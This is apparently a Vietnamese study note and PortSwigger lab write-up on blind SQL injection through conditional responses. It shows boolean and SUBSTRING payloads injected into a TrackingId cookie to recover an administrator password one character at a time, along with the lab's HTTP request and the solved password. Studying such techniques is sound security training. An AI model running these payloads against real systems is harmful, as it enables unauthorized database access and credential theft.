Blind SQL Injection xảy ra khi ứng dụng có thể khai thác SQL Injection nhưng các HTTP response không trả về kết quả của câu query hoặc thông báo lỗi.

Kỹ thuật union-based sqli không hiệu quả đối với các lỗ hổng SQL injection nên ta sẽ cần phải sử dụng các kỹ thuật khác.

Exploiting Blind SQL Injection by Triggering Conditional Responses

Ví dụ ứng dụng có sử dụng cookie, các request sẽ có header Cookie như sau:

Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4

Khi nhận được request có chứa Cookie là TrackingId, ứng dụng sẽ truy vấn trong database xem request này có phải của một user đã biết hay không:

SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'

Giả sử ứng dụng không trả về bất kỳ thông tin nào từ database cho người dùng mà chỉ thay đổi response dựa trên kết quả của câu query. Cụ thể hơn, nếu câu query có trả về kết quả (tức là tìm thấy user) thì response có thể có thêm thông báo “Welcome back”. Dựa vào điều này, chúng ta có thể truy xuất thông tin.

Ta dùng hai payload sau để xem xét response trả về của ứng dụng:

u5YD3PapBcR4lN3e7Tj4' AND '1'='1
u5YD3PapBcR4lN3e7Tj4' AND '1'='2

Với payload đầu tiên, do điều kiện'1' = '1' luôn đúng nên response trả về sẽ có thông báo “Welcome back”. Ngược lại, với payload thứ hai, do điều kiện được inject là luôn sai nên sẽ không có thông báo “Welcome back”.

Attention

Chú ý, hai payload trên không dùng ký tự comment nên không cần dấu nháy ở cuối.

Giả sử trong database có bảng Users với cột UsernamePassword. Có một user với username là Administrator và ta muốn biết password của user này.

Ta có thể sử dụng payload sau:

u5YD3PapBcR4lN3e7Tj4' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'm

Info

Hàm SUBSTRING được dùng để lấy chuỗi con với tham số thứ 2 là vị trí và tham số thứ 3 là độ dài. Hàm này còn có thể có tên là SUBSTR ở một số loại database.

Nếu response có thông báo “Welcome back” thì ta biết điều kiện so sánh là đúng. Đồng nghĩa với việc ký tự đầu tiên trong password lớn hơn m.

Thử tiếp payload sau:

u5YD3PapBcR4lN3e7Tj4' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 't

Nếu response không có thông báo “Welcome back” thì ta biết ký tự đầu tiên trong password nhỏ hơn hoặc bằng t.

Cuối cùng, ta dùng payload sau để confirm:

u5YD3PapBcR4lN3e7Tj4' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) = 's

Response trả về có thông báo “Welcome back”.

Như vậy, ta đã tìm ra được ký tự đầu tiên của password là s. Lặp lại quá trình này đến khi tìm được tất cả các ký tự có trong password.

Lab: Blind SQL Injection with Conditional Responses

Cần tìm password của user có username là administrator.

Khai thác trong giá trị của cookie TrackingId:

GET / HTTP/2
Host: 0ae6000e032acce987799afd00fa006e.web-security-academy.net
Cookie: TrackingId=EXVSh0QDx1e0PzpW; session=PKVj9UlZBBIc6O5Al027m0KwFMalIpzh
Sec-Ch-Ua: "Chromium";v="122", "Not(A:Brand";v="24", "Microsoft Edge";v="122"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0ae6000e032acce987799afd00fa006e.web-security-academy.net/login
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8

Sử dụng payload sau để xác định khoảng giá trị:

EXVSh0QDx1e0PzpW' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'administrator'), 1, 1) > '_

Sử dụng payload sau để xác định đúng giá trị:

EXVSh0QDx1e0PzpW' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'administrator'), 1, 1) = '_

Với _ là một chữ cái bất kỳ.

Password:

v0fm0puulbmweyv3dico

Tip

Có thể sử dụng Burp Suite Intruder để thực hiện tấn công chỉ với payload thứ 2.

list
from outgoing([[Port Swigger - Blind SQL Injection]])
sort file.ctime asc

Resources